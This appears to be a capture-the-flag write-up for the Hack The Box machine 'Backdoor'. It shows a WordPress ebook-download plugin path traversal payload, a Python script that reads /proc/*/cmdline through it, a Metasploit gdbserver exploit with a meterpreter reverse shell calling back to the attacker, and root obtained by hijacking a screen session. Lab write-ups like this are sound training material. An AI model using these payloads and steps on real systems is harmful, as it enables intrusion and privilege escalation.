Backdoor

By htb.

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Initial Enumeration

Nmap Scan

└─$ nmap -p- 1337,80,22 backdoor.htb -sC -sV
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-21 15:24 IST
Nmap scan report for backdoor.htb (10.129.236.8)
Host is up (0.34s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.00 seconds

Directory Listing

└─$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://backdoor.htb/wp-content/FUZZ -c                         

________________________________________________

 :: Method           : GET
 :: URL              : http://backdoor.htb/wp-content/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
wp-admin                [Status: 301, Size: 315, Words: 20, Lines: 10]
wp-content              [Status: 301, Size: 317, Words: 20, Lines: 10]
wp-includes             [Status: 301, Size: 318, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 160 req/sec :: Duration: [0:02:14] :: Errors: 0 ::

  • The wp-admin directory lands you to a wordpress login page, I tried cracking the password with rockyou.txt but failed

  • The wp-content directory had nothing, so I further ffuf it go see more directoires in it

Wp-content

└─$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://backdoor.htb/wp-content/FUZZ -c 
    
________________________________________________

 :: Method           : GET
 :: URL              : http://backdoor.htb/wp-content/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
plugins                 [Status: 301, Size: 325, Words: 20, Lines: 10]
themes                  [Status: 301, Size: 324, Words: 20, Lines: 10]
upgrade                 [Status: 301, Size: 325, Words: 20, Lines: 10]
uploads                 [Status: 301, Size: 325, Words: 20, Lines: 10]

:: Progress: [20469/20469] :: Job [1/1] :: 160 req/sec :: Duration: [0:02:14] :: Errors: 0 ::

  • The plugins directory is quiet intresting

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  • After messing around on web I found this exploit link : https://www.exploit-db.com/exploits/39575

  • Payload : http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

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Iniital Foothold

  • I tried getting the id_rsa with LFI but the user directory didn't have any ssh keys

  • The port 1337 had ?waste service which nmap said ( NOTE : ?waste wasn't the service running on port 1337 )

  • Let's check what service that port had

  • I read the man page for proc and found /cmdline intresting which tells sumary about a service

  • Man page of proc : https://man7.org/linux/man-pages/man5/proc.5.html

  • I didn't found any exploits that shows services , so I made one

Check Services

  • Exploit.py

    import requests

url = 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl='
pl = []
start = 900 # The service was on 956 for me, if you didn't found the service try changing the start point
for i in range(start,1010):  
    pl.append(f'{url}../../../../../../../../../../../../../../../proc/{i}/cmdline')

for i in pl:
    r = requests.get(i)
    check = r.text
    if '1337' in check:
        print(check)
        print('SERVICE SUCCESSFULLY FOUND')
        break
    else:
        print(f'trying on /proc/{start}/cmdline')
        start+=1

  • Output.txt

../../../../../../../../../../../../../../../proc/956/cmdline
../../../../../../../../../../../../../../../proc/956/cmdline
../../../../../../../../../../../../../../../proc/956/cmdline

/bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done

<script>window.close()</script>

  • So the port 1337 is running a gdbserver

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  • Link : https://www.rapid7.com/db/modules/exploit/multi/gdb/gdb_server_exec/

User Shell

  • Use this msf exploit to get the user shell : use exploit/multi/gdb/gdb_server_exec

msf6 exploit(multi/gdb/gdb_server_exec) > set lhost 10.10.14.76
lhost => 10.10.14.76
msf6 exploit(multi/gdb/gdb_server_exec) > set rhosts <IP OF THE MACHINE>

msf6 exploit(multi/gdb/gdb_server_exec) > set target 1
target => 1
msf6 exploit(multi/gdb/gdb_server_exec) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/gdb/gdb_server_exec) > set rport 1337
rport => 1337

  • Exploiting it gets us to <meterpreter> , to get a proper shell use shell command

  • And we have the user shell

  • python3 -c "import pty;pty.spawn('/bin/bash')"

user@Backdoor:~$ id
id
uid=1000(user) gid=1000(user) groups=1000(user)

user@Backdoor:~$ cat user.txt
<--SNIPPED-->

Privilege Escalation

Linpeas

root         937  0.0  0.1   8356  3420 ?        S    07:15   0:00  _ /usr/sbin/CRON -f
root         954  0.0  0.0   2608  1596 ?        Ss   07:15   0:02      _ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec s

  • The screen service is running at root privileges

Root Shell

user@Backdoor:~$ /usr/bin/screen -h

-h lines      Set the size of the scrollback history buffer.
-i            Interrupt output sooner when flow control is on.
-l            Login mode on (update /var/run/utmp), -ln = off.
-ls [match]   or
-list         Do nothing, just list our SockDir [on possible matches].
-L            Turn on output logging.
-Logfile file Set logfile name.
-m            ignore $STY variable, do create a new screen session.
-O            Choose optimal output rather than exact vt100 emulation.
-p window     Preselect the named window if it exists.
-q            Quiet startup. Exits with non-zero return code if unsuccessful.
-Q            Commands will send the response to the stdout of the querying process.
-r [session]  Reattach to a detached screen process.
-R            Reattach if possible, otherwise start a new session.
-s shell      Shell to execute rather than $SHELL.
-S sockname   Name this session <pid>.sockname instead of <pid>.<tty>.<host>.
-t title      Set title. (window's name).
-T term       Use term as $TERM for windows, rather than "screen".
-U            Tell screen to use UTF-8 encoding.
-v            Print "Screen version 4.08.00 (GNU) 05-Feb-20".
-wipe [match] Do nothing, just clean up SockDir [on possible matches].
-x            Attach to a not detached screen. (Multi display mode).
-X            Execute <cmd> as a screen command in the specified session.

  • So as there were no exploits available on the internet we have to play with the flags

  • I tried to exploit with help of GTFO bins and some flags around here

  • So we can get root shell with the -x flag : -x UserYouWannaHijackSession / HisSessionName

Shell

user@Backdoor:~$ /usr/bin/screen -x root/root
/usr/bin/screen -x root/root

root@Backdoor:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Backdoor:~# cat /root/root.txt
<--SNIPPED-->

  • If you didn't get the shell or some error like Please set a terminal type. use this command export TERM=xterm

Box pwned

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